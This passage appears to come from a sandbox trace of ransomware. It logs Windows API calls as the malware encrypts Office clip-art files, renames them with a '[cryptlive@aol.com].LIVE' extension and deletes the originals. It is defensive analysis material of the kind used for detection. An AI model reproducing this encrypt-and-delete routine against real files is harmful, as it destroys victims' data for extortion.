(hFile=0x214) returned 1 [0059.694] CloseHandle (hObject=0x214) returned 1 [0059.694] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0059.694] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00130_.gif")) returned 1 [0059.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 63 [0059.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 63 [0059.769] lstrlenW (lpString=".doc") returned 4 [0059.769] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0059.769] lstrlenW (lpString=".docx") returned 5 [0059.769] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0059.769] lstrlenW (lpString=".pdf") returned 4 [0059.769] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0059.769] lstrlenW (lpString=".xls") returned 4 [0059.769] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0059.769] lstrlenW (lpString=".xlsx") returned 5 [0059.769] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0059.770] lstrlenW (lpString=".ppt") returned 4 [0059.770] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0059.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 63 [0059.770] lstrlenW (lpString=".zip") returned 4 [0059.770] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0059.770] lstrlenW (lpString=".rar") returned 4 [0059.770] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0059.770] lstrlenW (lpString=".bz2") returned 4 [0059.770] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0059.770] lstrlenW (lpString=".7z") returned 3 [0059.770] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0059.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 63 [0059.770] lstrlenW (lpString=".dbf") returned 4 [0059.770] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0059.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 63 [0059.770] lstrlenW (lpString=".1cd") returned 4 [0059.770] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0059.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 63 [0059.770] lstrlenW (lpString=".jpg") returned 4 [0059.770] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0059.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 63 [0059.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 63 [0059.770] lstrlenW (lpString=".doc") returned 4 [0059.770] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0059.770] lstrlenW (lpString=".docx") returned 5 [0059.770] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0059.770] lstrlenW (lpString=".pdf") returned 4 [0059.770] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0059.770] lstrlenW (lpString=".xls") returned 4 [0059.770] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0059.770] lstrlenW (lpString=".xlsx") returned 5 [0059.770] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0059.770] lstrlenW (lpString=".ppt") returned 4 [0059.770] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0059.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 63 [0059.771] lstrlenW (lpString=".zip") returned 4 [0059.771] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0059.771] lstrlenW (lpString=".rar") returned 4 [0059.771] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0059.771] lstrlenW (lpString=".bz2") returned 4 [0059.771] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0059.771] lstrlenW (lpString=".7z") returned 3 [0059.771] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0059.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 63 [0059.771] lstrlenW (lpString=".dbf") returned 4 [0059.771] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0059.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 63 [0059.771] lstrlenW (lpString=".1cd") returned 4 [0059.771] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0059.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 63 [0059.771] lstrlenW (lpString=".jpg") returned 4 [0059.771] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0059.771] lstrcmpiW (lpString1=".GIF", lpString2=".LIVE") returned -1 [0059.771] lstrlenW (lpString="AG00139_.GIF") returned 12 [0059.771] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00139_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0062.332] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=10607) returned 1 [0062.332] CloseHandle (hObject=0x20c) returned 1 [0062.333] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00139_.gif")) returned 0x20 [0062.333] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00139_.gif.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0062.467] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00139_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0062.467] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0062.467] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0062.467] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00139_.gif.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0062.641] GetLastError () returned 0x0 [0062.641] ReadFile (in: hFile=0x188, lpBuffer=0x3b30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesRead=0x314fed4*=0x296f, lpOverlapped=0x0) returned 1 [0062.645] WriteFile (in: hFile=0x214, lpBuffer=0x3b30020*, nNumberOfBytesToWrite=0x2970, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesWritten=0x314fc9c*=0x2970, lpOverlapped=0x0) returned 1 [0062.647] ReadFile (in: hFile=0x188, lpBuffer=0x3b30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0062.647] WriteFile (in: hFile=0x214, lpBuffer=0x3b30020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0062.647] SetEndOfFile (hFile=0x214) returned 1 [0062.647] CloseHandle (hObject=0x214) returned 1 [0062.647] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0062.647] SetEndOfFile (hFile=0x188) returned 1 [0062.648] CloseHandle (hObject=0x188) returned 1 [0062.648] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0062.648] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00139_.gif")) returned 1 [0062.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 63 [0062.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 63 [0062.648] lstrlenW (lpString=".doc") returned 4 [0062.648] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0062.648] lstrlenW (lpString=".docx") returned 5 [0062.649] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0062.649] lstrlenW (lpString=".pdf") returned 4 [0062.649] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0062.649] lstrlenW (lpString=".xls") returned 4 [0062.649] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0062.649] lstrlenW (lpString=".xlsx") returned 5 [0062.649] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0062.649] lstrlenW (lpString=".ppt") returned 4 [0062.649] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0062.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 63 [0062.649] lstrlenW (lpString=".zip") returned 4 [0062.649] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0062.649] lstrlenW (lpString=".rar") returned 4 [0062.649] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0062.649] lstrlenW (lpString=".bz2") returned 4 [0062.649] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0062.649] lstrlenW (lpString=".7z") returned 3 [0062.649] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0062.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 63 [0062.649] lstrlenW (lpString=".dbf") returned 4 [0062.649] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0062.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 63 [0062.649] lstrlenW (lpString=".1cd") returned 4 [0062.649] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0062.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 63 [0062.649] lstrlenW (lpString=".jpg") returned 4 [0062.650] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0062.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 63 [0062.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 63 [0062.650] lstrlenW (lpString=".doc") returned 4 [0062.650] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0062.650] lstrlenW (lpString=".docx") returned 5 [0062.650] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0062.650] lstrlenW (lpString=".pdf") returned 4 [0062.650] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0062.650] lstrlenW (lpString=".xls") returned 4 [0062.650] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0062.650] lstrlenW (lpString=".xlsx") returned 5 [0062.650] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0062.650] lstrlenW (lpString=".ppt") returned 4 [0062.650] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0062.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 63 [0062.650] lstrlenW (lpString=".zip") returned 4 [0062.650] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0062.650] lstrlenW (lpString=".rar") returned 4 [0062.650] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0062.650] lstrlenW (lpString=".bz2") returned 4 [0062.650] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0062.650] lstrlenW (lpString=".7z") returned 3 [0062.650] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0062.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 63 [0062.650] lstrlenW (lpString=".dbf") returned 4 [0062.650] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0062.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 63 [0062.650] lstrlenW (lpString=".1cd") returned 4 [0062.651] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0062.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 63 [0062.651] lstrlenW (lpString=".jpg") returned 4 [0062.651] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0062.651] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0062.651] lstrlenW (lpString="AN01218_.WMF") returned 12 [0062.651] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01218_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0062.651] GetFileSizeEx (in: hFile=0x188, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=3012) returned 1 [0062.651] CloseHandle (hObject=0x188) returned 1 [0062.651] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01218_.wmf")) returned 0x20 [0062.651] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01218_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0062.651] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01218_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0062.652] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0062.652] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0062.652] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01218_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0062.652] GetLastError () returned 0x0 [0062.652] ReadFile (in: hFile=0x188, lpBuffer=0x3b30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesRead=0x314fed4*=0xbc4, lpOverlapped=0x0) returned 1 [0062.653] WriteFile (in: hFile=0x214, lpBuffer=0x3b30020*, nNumberOfBytesToWrite=0xbd0, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesWritten=0x314fc9c*=0xbd0, lpOverlapped=0x0) returned 1 [0062.654] ReadFile (in: hFile=0x188, lpBuffer=0x3b30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0062.655] WriteFile (in: hFile=0x214, lpBuffer=0x3b30020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0062.655] SetEndOfFile (hFile=0x214) returned 1 [0062.655] CloseHandle (hObject=0x214) returned 1 [0062.655] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0062.655] SetEndOfFile (hFile=0x188) returned 1 [0062.656] CloseHandle (hObject=0x188) returned 1 [0062.656] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0062.656] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01218_.wmf")) returned 1 [0062.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 63 [0062.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 63 [0062.656] lstrlenW (lpString=".doc") returned 4 [0062.656] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0062.656] lstrlenW (lpString=".docx") returned 5 [0062.656] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0062.656] lstrlenW (lpString=".pdf") returned 4 [0062.656] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0062.656] lstrlenW (lpString=".xls") returned 4 [0062.656] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0062.656] lstrlenW (lpString=".xlsx") returned 5 [0062.657] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0062.657] lstrlenW (lpString=".ppt") returned 4 [0062.657] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0062.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 63 [0062.657] lstrlenW (lpString=".zip") returned 4 [0062.657] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0062.657] lstrlenW (lpString=".rar") returned 4 [0062.657] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0062.657] lstrlenW (lpString=".bz2") returned 4 [0062.657] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0062.657] lstrlenW (lpString=".7z") returned 3 [0062.657] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0062.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 63 [0062.657] lstrlenW (lpString=".dbf") returned 4 [0062.657] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0062.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 63 [0062.657] lstrlenW (lpString=".1cd") returned 4 [0062.657] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0062.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 63 [0062.657] lstrlenW (lpString=".jpg") returned 4 [0062.657] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0062.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 63 [0062.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 63 [0062.657] lstrlenW (lpString=".doc") returned 4 [0062.657] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0062.657] lstrlenW (lpString=".docx") returned 5 [0062.657] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0062.657] lstrlenW (lpString=".pdf") returned 4 [0062.657] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0062.657] lstrlenW (lpString=".xls") returned 4 [0062.657] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0062.657] lstrlenW (lpString=".xlsx") returned 5 [0062.657] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0062.657] lstrlenW (lpString=".ppt") returned 4 [0062.657] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0062.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 63 [0062.658] lstrlenW (lpString=".zip") returned 4 [0062.658] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0062.658] lstrlenW (lpString=".rar") returned 4 [0062.658] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0062.658] lstrlenW (lpString=".bz2") returned 4 [0062.658] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0062.658] lstrlenW (lpString=".7z") returned 3 [0062.658] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0062.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 63 [0062.658] lstrlenW (lpString=".dbf") returned 4 [0062.658] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0062.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 63 [0062.658] lstrlenW (lpString=".1cd") returned 4 [0062.658] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0062.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 63 [0062.658] lstrlenW (lpString=".jpg") returned 4 [0062.658] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0062.658] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0062.658] lstrlenW (lpString="AN01251_.WMF") returned 12 [0062.658] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01251_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0062.658] GetFileSizeEx (in: hFile=0x188, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=2756) returned 1 [0062.659] CloseHandle (hObject=0x188) returned 1 [0062.659] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01251_.wmf")) returned 0x20 [0062.659] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01251_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0062.659] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01251_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0062.659] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0062.659] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0062.659] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01251_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0062.659] GetLastError () returned 0x0 [0062.659] ReadFile (in: hFile=0x188, lpBuffer=0x3b30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesRead=0x314fed4*=0xac4, lpOverlapped=0x0) returned 1 [0062.663] WriteFile (in: hFile=0x214, lpBuffer=0x3b30020*, nNumberOfBytesToWrite=0xad0, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesWritten=0x314fc9c*=0xad0, lpOverlapped=0x0) returned 1 [0062.664] ReadFile (in: hFile=0x188, lpBuffer=0x3b30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0062.664] WriteFile (in: hFile=0x214, lpBuffer=0x3b30020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0062.664] SetEndOfFile (hFile=0x214) returned 1 [0062.664] CloseHandle (hObject=0x214) returned 1 [0062.664] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0062.664] SetEndOfFile (hFile=0x188) returned 1 [0062.666] CloseHandle (hObject=0x188) returned 1 [0062.666] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0062.667] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01251_.wmf")) returned 1 [0062.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 63 [0062.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 63 [0062.667] lstrlenW (lpString=".doc") returned 4 [0062.667] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0062.667] lstrlenW (lpString=".docx") returned 5 [0062.667] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") 